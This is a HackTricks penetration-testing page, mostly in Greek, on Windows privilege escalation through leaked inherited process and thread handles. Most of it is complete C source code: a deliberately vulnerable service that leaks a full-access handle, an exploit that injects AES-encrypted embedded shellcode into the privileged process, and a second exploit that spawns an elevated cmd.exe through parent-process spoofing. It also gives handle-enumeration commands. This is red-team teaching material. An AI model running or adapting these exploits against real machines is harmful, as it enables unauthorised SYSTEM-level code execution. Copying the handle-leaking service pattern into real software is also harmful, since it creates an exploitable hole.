Leaked Handle Exploitation

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Introduction

Handles σε μια διαδικασία επιτρέπουν την πρόσβαση σε διάφορους πόρους των Windows:

RootedCON2022 - Exploiting Leaked Handles for LPE

Έχουν ήδη υπάρξει αρκετές περιπτώσεις κλιμάκωσης προνομίων όπου μια προνομιακή διαδικασία με ανοιχτές και κληρονομούμενες λαβές έχει τρέξει μια μη προνομιακή διαδικασία δίνοντάς της πρόσβαση σε όλες αυτές τις λαβές.

Για παράδειγμα, φανταστείτε ότι μια διαδικασία που εκτελείται ως SYSTEM ανοίγει μια νέα διαδικασία (OpenProcess()) με πλήρη πρόσβαση. Η ίδια διαδικασία δημιουργεί επίσης μια νέα διαδικασία (CreateProcess()) με χαμηλά προνόμια αλλά κληρονομώντας όλες τις ανοιχτές λαβές της κύριας διαδικασίας. Στη συνέχεια, αν έχετε πλήρη πρόσβαση στη διαδικασία με χαμηλά προνόμια, μπορείτε να αποκτήσετε τη ανοιχτή λαβή της προνομιακής διαδικασίας που δημιουργήθηκε με OpenProcess() και να εισάγετε ένα shellcode.

Interesting Handles

Process

Όπως διαβάσατε στο αρχικό παράδειγμα, αν μια μη προνομιακή διαδικασία κληρονομήσει μια λαβή διαδικασίας από μια προνομιακή διαδικασία με αρκετές άδειες, θα είναι σε θέση να εκτελέσει τυχαίο κώδικα σε αυτήν.

Στο αυτό το εξαιρετικό άρθρο μπορείτε να δείτε πώς να εκμεταλλευτείτε οποιαδήποτε λαβή διαδικασίας που έχει οποιαδήποτε από τις παρακάτω άδειες:

  • PROCESS_ALL_ACCESS

  • PROCESS_CREATE_PROCESS

  • PROCESS_CREATE_THREAD

  • PROCESS_DUP_HANDLE

  • PROCESS_VM_WRITE

Thread

Παρόμοια με τις λαβές διαδικασίας, αν μια μη προνομιακή διαδικασία κληρονομήσει μια λαβή νήματος από μια προνομιακή διαδικασία με αρκετές άδειες, θα είναι σε θέση να εκτελέσει τυχαίο κώδικα σε αυτήν.

Στο αυτό το εξαιρετικό άρθρο μπορείτε επίσης να δείτε πώς να εκμεταλλευτείτε οποιαδήποτε λαβή διαδικασίας που έχει οποιαδήποτε από τις παρακάτω άδειες:

  • THREAD_ALL_ACCESS

  • THREAD_DIRECT_IMPERSONATION

  • THREAD_SET_CONTEXT

File, Key & Section Handles

Αν μια μη προνομιακή διαδικασία κληρονομήσει μια λαβή με άδειες ισοδύναμες με γράψιμο σε ένα προνομιακό αρχείο ή μητρώο, θα είναι σε θέση να επικαλύψει το αρχείο/μητρώο (και με πολλή τύχη, να κλιμακώσει προνόμια).

Section Handles είναι παρόμοιες με τις λαβές αρχείων, το κοινό όνομα αυτού του είδους αντικειμένων είναι "File Mapping". Χρησιμοποιούνται για να δουλεύουν με μεγάλα αρχεία χωρίς να κρατούν ολόκληρο το αρχείο στη μνήμη. Αυτό καθιστά την εκμετάλλευση κάπως "παρόμοια" με την εκμετάλλευση μιας Λαβής Αρχείου.

How to see handles of processes

Process Hacker

Process Hacker είναι ένα εργαλείο που μπορείτε να κατεβάσετε δωρεάν. Έχει πολλές εκπληκτικές επιλογές για να επιθεωρήσετε διαδικασίες και μία από αυτές είναι η ικανότητα να βλέπετε τις λαβές κάθε διαδικασίας.

Σημειώστε ότι για να δείτε όλες τις λαβές όλων των διαδικασιών, απαιτείται το SeDebugPrivilege (οπότε πρέπει να εκτελέσετε το Process Hacker ως διαχειριστής).

Για να δείτε τις λαβές μιας διαδικασίας, κάντε δεξί κλικ στη διαδικασία και επιλέξτε Λαβές:

Μπορείτε στη συνέχεια να κάνετε δεξί κλικ στη λαβή και να ελέγξετε τις άδειες:

Sysinternals Handles

Το Handles δυαδικό από το Sysinternals θα καταγράψει επίσης τις λαβές ανά διαδικασία στην κονσόλα:

LeakedHandlesFinder

Αυτό το εργαλείο σας επιτρέπει να παρακολουθείτε τις διαρροές λαβών και ακόμη και να αυτοεκμεταλλεύεστε αυτές για να κλιμακώσετε προνόμια.

Methodology

Τώρα που ξέρετε πώς να βρείτε τις λαβές διαδικασιών, αυτό που πρέπει να ελέγξετε είναι αν κάποια μη προνομιακή διαδικασία έχει πρόσβαση σε προνομιακές λαβές. Σε αυτή την περίπτωση, ο χρήστης της διαδικασίας θα μπορούσε να είναι σε θέση να αποκτήσει τη λαβή και να την εκμεταλλευτεί για να κλιμακώσει προνόμια.

Είχε αναφερθεί προηγουμένως ότι χρειάζεστε το SeDebugPrivilege για να έχετε πρόσβαση σε όλες τις λαβές. Αλλά ένας χρήστης μπορεί ακόμα να έχει πρόσβαση στις λαβές των διαδικασιών του, οπότε μπορεί να είναι χρήσιμο αν θέλετε να κάνετε privesc μόνο από αυτόν τον χρήστη για να εκτελέσετε τα εργαλεία με τις κανονικές άδειες του χρήστη.

handle64.exe /a | findstr /r /i "process thread file key pid:"

Ευάλωτο Παράδειγμα

Για παράδειγμα, ο παρακάτω κώδικας ανήκει σε μια υπηρεσία Windows που θα ήταν ευάλωτη. Ο ευάλωτος κώδικας αυτού του δυαδικού αρχείου υπηρεσίας βρίσκεται μέσα στη Συνάρτηση Εκμετάλλευσης. Αυτή η συνάρτηση ξεκινά δημιουργώντας μια νέα διαδικασία χειρισμού με πλήρη πρόσβαση. Στη συνέχεια, δημιουργεί μια διαδικασία χαμηλών δικαιωμάτων (αντιγράφοντας το χαμηλό δικαίωμα του explorer.exe) εκτελώντας C:\users\username\desktop\client.exe. Η ευπάθεια έγκειται στο γεγονός ότι δημιουργεί τη διαδικασία χαμηλών δικαιωμάτων με bInheritHandles ως TRUE.

Επομένως, αυτή η διαδικασία χαμηλών δικαιωμάτων είναι σε θέση να αποκτήσει τον χειρισμό της διαδικασίας υψηλών δικαιωμάτων που δημιουργήθηκε πρώτη και να εισάγει και να εκτελέσει έναν κώδικα shell (βλ. επόμενη ενότητα).

#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#pragma comment (lib, "advapi32")

TCHAR* serviceName = TEXT("HandleLeakSrv");
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
HANDLE stopServiceEvent = 0;


//Find PID of a proces from its name
int FindTarget(const char *procname) {

HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;

hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;

pe32.dwSize = sizeof(PROCESSENTRY32);

if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}

while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}

CloseHandle(hProcSnap);

return pid;
}


int Exploit(void) {

STARTUPINFOA si;
PROCESS_INFORMATION pi;
int pid = 0;
HANDLE hUserToken;
HANDLE hUserProc;
HANDLE hProc;

// open a handle to itself (privileged process) - this gets leaked!
hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());

// get PID of user low privileged process
if ( pid = FindTarget("explorer.exe") )
hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
else
return -1;

// extract low privilege token from a user's process
if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) {
CloseHandle(hUserProc);
return -1;
}

// spawn a child process with low privs and leaked handle
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe",
NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

CloseHandle(hProc);
CloseHandle(hUserProc);
return 0;
}



void WINAPI ServiceControlHandler( DWORD controlCode ) {
switch ( controlCode ) {
case SERVICE_CONTROL_SHUTDOWN:
case SERVICE_CONTROL_STOP:
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

SetEvent( stopServiceEvent );
return;

case SERVICE_CONTROL_PAUSE:
break;

case SERVICE_CONTROL_CONTINUE:
break;

case SERVICE_CONTROL_INTERROGATE:
break;

default:
break;
}
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}

void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
// initialise service status
serviceStatus.dwServiceType = SERVICE_WIN32;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
serviceStatus.dwControlsAccepted = 0;
serviceStatus.dwWin32ExitCode = NO_ERROR;
serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;

serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );

if ( serviceStatusHandle ) {
// service is starting
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

// do initialisation here
stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );

// running
serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

Exploit();
WaitForSingleObject( stopServiceEvent, -1 );

// service was stopped
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

// do cleanup here
CloseHandle( stopServiceEvent );
stopServiceEvent = 0;

// service is now stopped
serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}
}


void InstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );

if ( serviceControlManager ) {
TCHAR path[ _MAX_PATH + 1 ];
if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
SC_HANDLE service = CreateService( serviceControlManager,
serviceName, serviceName,
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
0, 0, 0, 0, 0 );
if ( service )
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}

void UninstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );

if ( serviceControlManager ) {
SC_HANDLE service = OpenService( serviceControlManager,
serviceName, SERVICE_QUERY_STATUS | DELETE );
if ( service ) {
SERVICE_STATUS serviceStatus;
if ( QueryServiceStatus( service, &serviceStatus ) ) {
if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
DeleteService( service );
}
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}

int _tmain( int argc, TCHAR* argv[] )
{
if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
InstallService();
}
else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
UninstallService();
}
else  {
SERVICE_TABLE_ENTRY serviceTable[] = {
{ serviceName, ServiceMain },
{ 0, 0 }
};

StartServiceCtrlDispatcher( serviceTable );
}

return 0;
}

Exploit Example 1

Σε ένα πραγματικό σενάριο πιθανότατα δεν θα μπορείτε να ελέγξετε το δυαδικό αρχείο που πρόκειται να εκτελεστεί από τον ευάλωτο κώδικα (C:\users\username\desktop\client.exe σε αυτή την περίπτωση). Πιθανότατα θα συμβιβάσετε μια διαδικασία και θα χρειαστεί να δείτε αν μπορείτε να έχετε πρόσβαση σε οποιοδήποτε ευάλωτο handle οποιασδήποτε προνομιακής διαδικασίας.

Σε αυτό το παράδειγμα μπορείτε να βρείτε τον κώδικα ενός πιθανότατα exploit για C:\users\username\desktop\client.exe. Το πιο ενδιαφέρον μέρος αυτού του κώδικα βρίσκεται στη GetVulnProcHandle. Αυτή η συνάρτηση θα ξεκινήσει να ανακτά όλα τα handles, στη συνέχεια θα ελέγξει αν κάποιο από αυτά ανήκει στην ίδια PID και αν το handle ανήκει σε μια διαδικασία. Εάν πληρούνται όλες αυτές οι απαιτήσεις (βρεθεί ένα προσβάσιμο ανοιχτό handle διαδικασίας), προσπαθεί να εισάγει και να εκτελέσει ένα shellcode εκμεταλλευόμενο το handle της διαδικασίας. Η εισαγωγή του shellcode γίνεται μέσα στη Inject συνάρτηση και θα γράψει απλώς το shellcode μέσα στην προνομιακή διαδικασία και θα δημιουργήσει ένα νήμα μέσα στην ίδια διαδικασία για να εκτελέσει το shellcode).

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")


int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;

if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
return -1;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
return -1;
}
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
return -1;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
return -1;
}

if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
return -1;
}

CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);

return 0;
}


HANDLE GetVulnProcHandle(void) {

ULONG handleInfoSize = 0x10000;
NTSTATUS status;
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
HANDLE hProc = NULL;
POBJECT_TYPE_INFORMATION objectTypeInfo;
PVOID objectNameInfo;
UNICODE_STRING objectName;
ULONG returnLength;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
DWORD dwOwnPID = GetCurrentProcessId();

pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");

printf("[+] Grabbing handles...");

while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);

if (status != STATUS_SUCCESS)
{
printf("[!] NtQuerySystemInformation failed!\n");
return 0;
}

printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);

// iterate handles until we find the privileged process handle
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];

// Check if this handle belongs to our own process
if (handle.UniqueProcessId != dwOwnPID)
continue;

objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectTypeInformation,
objectTypeInfo,
0x1000,
NULL ) != STATUS_SUCCESS)
continue;

// skip some objects to avoid getting stuck
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
if (handle.GrantedAccess == 0x0012019f
&& handle.GrantedAccess != 0x00120189
&& handle.GrantedAccess != 0x120089
&& handle.GrantedAccess != 0x1A019F ) {
free(objectTypeInfo);
continue;
}

// get object name information
objectNameInfo = malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
0x1000,
&returnLength ) != STATUS_SUCCESS) {

// adjust the size of a returned object and query again
objectNameInfo = realloc(objectNameInfo, returnLength);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
returnLength,
NULL ) != STATUS_SUCCESS) {
free(objectTypeInfo);
free(objectNameInfo);
continue;
}
}

// check if we've got a process object
objectName = *(PUNICODE_STRING) objectNameInfo;
UNICODE_STRING pProcess;

pRtlInitUnicodeString(&pProcess, L"Process");
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
printf("[+] Found process handle (%x)\n", handle.HandleValue);
hProc = (HANDLE) handle.HandleValue;
free(objectTypeInfo);
free(objectNameInfo);
break;
}
else
continue;

free(objectTypeInfo);
free(objectNameInfo);
}

return hProc;
}

int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {

LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;
BOOL bStatus = FALSE;

pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx");
pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory");
pRtlCreateUserThread = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread");

pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);

bStatus = (BOOL) pRtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, pRemoteCode, NULL, &hThread, NULL);
if (bStatus != FALSE) {
WaitForSingleObject(hThread, -1);
CloseHandle(hThread);
return 0;
}
else
return -1;
}

int main(int argc, char **argv) {

int pid = 0;
HANDLE hProc = NULL;

// AES encrypted shellcode spawning notepad.exe (ExitThread)
char key[] = { 0x49, 0xbc, 0xa5, 0x1d, 0xa7, 0x3d, 0xd6, 0x0, 0xee, 0x2, 0x29, 0x3e, 0x9b, 0xb2, 0x8a, 0x69 };
unsigned char payload[] = { 0x6b, 0x98, 0xe8, 0x38, 0xaf, 0x82, 0xdc, 0xd4, 0xda, 0x57, 0x15, 0x48, 0x2f, 0xf0, 0x4e, 0xd3, 0x1a, 0x70, 0x6d, 0xbf, 0x53, 0xa8, 0xcb, 0xbb, 0xbb, 0x38, 0xf6, 0x4e, 0xee, 0x84, 0x36, 0xe5, 0x25, 0x76, 0xce, 0xb0, 0xf6, 0x39, 0x22, 0x76, 0x36, 0x3c, 0xe1, 0x13, 0x18, 0x9d, 0xb1, 0x6e, 0x0, 0x55, 0x8a, 0x4f, 0xb8, 0x2d, 0xe7, 0x6f, 0x91, 0xa8, 0x79, 0x4e, 0x34, 0x88, 0x24, 0x61, 0xa4, 0xcf, 0x70, 0xdb, 0xef, 0x25, 0x96, 0x65, 0x76, 0x7, 0xe7, 0x53, 0x9, 0xbf, 0x2d, 0x92, 0x25, 0x4e, 0x30, 0xa, 0xe7, 0x69, 0xaf, 0xf7, 0x32, 0xa6, 0x98, 0xd3, 0xbe, 0x2b, 0x8, 0x90, 0x0, 0x9e, 0x3f, 0x58, 0xed, 0x21, 0x69, 0xcb, 0x38, 0x5d, 0x5e, 0x68, 0x5e, 0xb9, 0xd6, 0xc5, 0x92, 0xd1, 0xaf, 0xa2, 0x5d, 0x16, 0x23, 0x48, 0xbc, 0xdd, 0x2a, 0x9f, 0x3c, 0x22, 0xdb, 0x19, 0x24, 0xdf, 0x86, 0x4a, 0xa2, 0xa0, 0x8f, 0x1a, 0xe, 0xd6, 0xb7, 0xd2, 0x6c, 0x6d, 0x90, 0x55, 0x3e, 0x7d, 0x9b, 0x69, 0x87, 0xad, 0xd7, 0x5c, 0xf3, 0x1, 0x7c, 0x93, 0x1d, 0xaa, 0x40, 0xf, 0x15, 0x48, 0x5b, 0xad, 0x6, 0xb5, 0xe5, 0xb9, 0x92, 0xae, 0x9b, 0xdb, 0x9a, 0x9b, 0x4e, 0x44, 0x45, 0xdb, 0x9f, 0x28, 0x90, 0x9e, 0x63, 0x23, 0xf2, 0xca, 0xab, 0xa7, 0x68, 0xbc, 0x31, 0xb4, 0xf9, 0xbb, 0x73, 0xd4, 0x56, 0x94, 0x2c, 0x63, 0x47, 0x21, 0x84, 0xa2, 0xb6, 0x91, 0x23, 0x8f, 0xa0, 0x46, 0x76, 0xff, 0x3f, 0x75, 0xd, 0x51, 0xc5, 0x70, 0x26, 0x1, 0xcf, 0x23, 0xbf, 0x97, 0xb2, 0x8d, 0x66, 0x35, 0xc8, 0xe3, 0x2, 0xf6, 0xbd, 0x44, 0x83, 0xf2, 0x80, 0x4c, 0xd0, 0x7d, 0xa3, 0xbd, 0x33, 0x8e, 0xe8, 0x6, 0xbc, 0xdc, 0xff, 0xe0, 0x96, 0xd9, 0xdc, 0x87, 0x2a, 0x81, 0xf3, 0x53, 0x37, 0x16, 0x3a, 0xcc, 0x3c, 0x34, 0x4, 0x9c, 0xc6, 0xbb, 0x12, 0x72, 0xf3, 0xa3, 0x94, 0x5d, 0x19, 0x43, 0x56, 0xa8, 0xba, 0x2a, 0x1d, 0x12, 0xeb, 0xd2, 0x6e, 0x79, 0x65, 0x2a };
unsigned int payload_len = sizeof(payload);

printf("My PID: %d\n", GetCurrentProcessId());
getchar();

// find a leaked handle to a process
hProc = GetVulnProcHandle();

if ( hProc != NULL) {

// d#Decrypt payload
AESDecrypt((char *) payload, payload_len, key, sizeof(key));
printf("[+] Sending gift...");
// Inject and run the payload in the privileged context
Inject(hProc, payload, payload_len);
printf("done.\n");
}
getchar();

return 0;
}

Exploit Example 2

Σε ένα πραγματικό σενάριο πιθανότατα δεν θα μπορείτε να ελέγξετε το δυαδικό αρχείο που πρόκειται να εκτελεστεί από τον ευάλωτο κώδικα (C:\users\username\desktop\client.exe σε αυτή την περίπτωση). Πιθανότατα θα συμβιβάσετε μια διαδικασία και θα χρειαστεί να δείτε αν μπορείτε να αποκτήσετε πρόσβαση σε οποιοδήποτε ευάλωτο handle οποιασδήποτε προνομιούχου διαδικασίας.

Σε αυτό το παράδειγμα, αντί να εκμεταλλευτείτε το ανοιχτό handle για να εισάγετε και να εκτελέσετε ένα shellcode, θα χρησιμοποιηθεί το token της προνομιούχου διαδικασίας με το ανοιχτό handle για να δημιουργηθεί ένα νέο. Αυτό γίνεται στις γραμμές από 138 έως 148.

Σημειώστε πώς η λειτουργία UpdateProcThreadAttribute χρησιμοποιείται με το χαρακτηριστικό PROC_THREAD_ATTRIBUTE_PARENT_PROCESS και το handle της ανοιχτής προνομιούχου διαδικασίας. Αυτό σημαίνει ότι το δημιουργημένο νήμα διαδικασίας που εκτελεί _cmd.exe_** θα έχει το ίδιο προνόμιο token με την ανοιχτή διαδικασία handle**.

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")


HANDLE GetVulnProcHandle(void) {

ULONG handleInfoSize = 0x10000;
NTSTATUS status;
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
HANDLE hProc = NULL;
POBJECT_TYPE_INFORMATION objectTypeInfo;
PVOID objectNameInfo;
UNICODE_STRING objectName;
ULONG returnLength;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
DWORD dwOwnPID = GetCurrentProcessId();

pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");

printf("[+] Grabbing handles...");

while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);

if (status != STATUS_SUCCESS)
{
printf("[!] NtQuerySystemInformation failed!\n");
return 0;
}

printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);

// iterate handles until we find the privileged process handle
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];

// Check if this handle belongs to our own process
if (handle.UniqueProcessId != dwOwnPID)
continue;

objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectTypeInformation,
objectTypeInfo,
0x1000,
NULL ) != STATUS_SUCCESS)
continue;

// skip some objects to avoid getting stuck
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
if (handle.GrantedAccess == 0x0012019f
&& handle.GrantedAccess != 0x00120189
&& handle.GrantedAccess != 0x120089
&& handle.GrantedAccess != 0x1A019F ) {
free(objectTypeInfo);
continue;
}

// get object name information
objectNameInfo = malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
0x1000,
&returnLength ) != STATUS_SUCCESS) {

// adjust the size of a returned object and query again
objectNameInfo = realloc(objectNameInfo, returnLength);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
returnLength,
NULL ) != STATUS_SUCCESS) {
free(objectTypeInfo);
free(objectNameInfo);
continue;
}
}

// check if we've got a process object
objectName = *(PUNICODE_STRING) objectNameInfo;
UNICODE_STRING pProcess;

pRtlInitUnicodeString(&pProcess, L"Process");
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
printf("[+] Found process handle (%x)\n", handle.HandleValue);
hProc = (HANDLE) handle.HandleValue;
free(objectTypeInfo);
free(objectNameInfo);
break;
}
else
continue;

free(objectTypeInfo);
free(objectNameInfo);
}

return hProc;
}


int main(int argc, char **argv) {

HANDLE hProc = NULL;
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
int pid = 0;
SIZE_T size;
BOOL ret;

Sleep(20000);
// find leaked process handle
hProc = GetVulnProcHandle();

if ( hProc != NULL) {

// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
ZeroMemory(&si, sizeof(STARTUPINFOEXA));

InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(), 0, size );

InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);

si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

// Spawn elevated cmd process
ret = CreateProcessA( "C:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)(&si), &pi );

if (ret == FALSE) {
printf("[!] Error spawning new process: [%d]\n", GetLastError());
return -1;
}
}

Sleep(20000);
return 0;
}

Άλλα εργαλεία και παραδείγματα

Αυτό το εργαλείο σας επιτρέπει να παρακολουθείτε τα leaked handles για να βρείτε ευάλωτα και ακόμη και να τα εκμεταλλευτείτε αυτόματα. Έχει επίσης ένα εργαλείο για να διαρρεύσει ένα.

Ένα άλλο εργαλείο για να διαρρεύσει ένα handle και να το εκμεταλλευτεί.

Αναφορές

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated